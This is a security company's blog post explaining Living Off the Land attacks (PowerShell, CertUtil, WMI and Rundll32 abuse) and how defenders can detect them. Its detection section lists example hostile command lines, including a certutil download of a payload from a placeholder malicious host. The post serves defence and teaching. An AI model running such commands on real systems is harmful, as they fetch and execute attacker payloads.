Living Off the Land (LOTL) Attacks: Real-World Examples and How to Detect Them
Neil Hare-Brown- Apr 28
- 3 min read
Living Off the Land (LOTL) attacks don’t rely on exotic malware — they use the trusted, built-in tools already inside your systems.
As businesses strengthen their traditional defences, attackers increasingly turn to LOTL techniques to bypass antivirus and evade early detection.
If you're new to the concept of Living Off the Land attacks, you may want to start with our guide What Are Living Off the Land (LOTL) Attacks? which explains the basics before diving into real-world examples.
This blog highlights real-world examples of LOTL attacks and practical detection strategies to help your organisation spot trouble early.
Real-World Examples of LOTL Techniques
PowerShell Abuse
Attackers use legitimate PowerShell commands to download payloads, move laterally, or exfiltrate data — all without dropping a file onto disk.
Example: In many ransomware incidents (e.g., Ryuk, Conti), attackers used PowerShell Empire frameworks to execute scripts invisibly across business networks.
CertUtil Weaponisation
CertUtil.exe — a standard Windows tool for certificate management — is used to download malicious files while appearing legitimate.
Example: Attackers used CertUtil to download ransomware binaries during the Maze ransomware campaign, avoiding triggering antivirus signatures.
WMI (Windows Management Instrumentation) for Remote Execution
WMI allows attackers to execute code remotely across endpoints without needing malware installers.
Example: TrickBot malware heavily relied on WMI commands to move laterally across enterprise environments before ransomware payloads were dropped.
Rundll32.exe for Payload Execution
This legitimate Windows binary is used to run DLL payloads without raising alarms.
Example: Cobalt Strike beacons (common in ransomware prep) often launch using Rundll32 to blend into normal network traffic.
Why Traditional Security Often Misses LOTL Activity
✅ Signed, Trusted Tools:
Security systems often whitelist activity from built-in binaries like PowerShell and CertUtil.
✅ Fileless Execution
Since many LOTL attacks run scripts directly in memory, there are no suspicious files to scan.
✅ Low and Slow Operations
LOTL attackers don’t always trigger large anomalies. They move slowly to blend into normal system behaviour.
✅ Blurred Lines
Separating legitimate admin activity from malicious LOTL behaviour can be challenging without context.
How to Detect LOTL Attacks in Progress
Monitor Script Execution
Track all PowerShell, WMI, and MSHTA executions across your endpoints. Look for unusual timings, users, or external communications.
Log Command-Line Arguments
Don't just log process launches — capture full command-line parameters. Suspicious examples might include:
powershell.exe -EncodedCommand
certutil.exe -urlcache -split -f http://malicious-site.com/payload.exe
wmic process call create "cmd.exe /c badscript.bat"
Watch for Unusual Parent-Child Process Relationships
For example:
Office applications (like Word) spawning PowerShell
Rundll32.exe launching strange DLLs
Baseline Normal Behaviour
Know what legitimate admin activity looks like in your business so that deviations stand out more easily.
Use Behavioural EDR Tools
Deploy endpoint protection solutions that flag suspicious behaviour, not just known malware signatures.
Hunt for Persistence Mechanisms
Attackers often install scheduled tasks, services, or WMI event subscriptions to maintain stealth access.
Proactive Threat Hunting for LOTL Indicators
✅ Look for Abnormal Use of Administrative Tools
PowerShell running outside IT maintenance windows could be suspicious.
✅ Hunt for Credential Dumping Tools
Monitor for usage of tools like Mimikatz, often invoked via trusted processes.
✅ Check for Remote Desktop Anomalies
Unusual RDP sessions might indicate lateral movement preparations.
✅ Investigate Failed Authentication Attempts
Repeated internal login failures could signal network exploration.
How STORM Guidance Can Help
✔ Threat hunting engagements focused on stealth attack detection
✔ Behavioural analysis of endpoints and network traffic
✔ Incident response for stealthy and fileless attacks
✔ Cyber incident exercising against LOTL attack scenarios
✔ Strategic resilience planning for advanced threat defence
Detect Stealthy Attacks Before They Escalate
Living Off the Land tactics are designed to slip under the radar — but they aren’t invisible.
With the right monitoring, proactive threat hunting, and rapid response, businesses can catch LOTL attackers before serious damage is done.
For expert advice on advanced threat detection and proactive defence, explore Storm Guidance’s cybersecurity services.
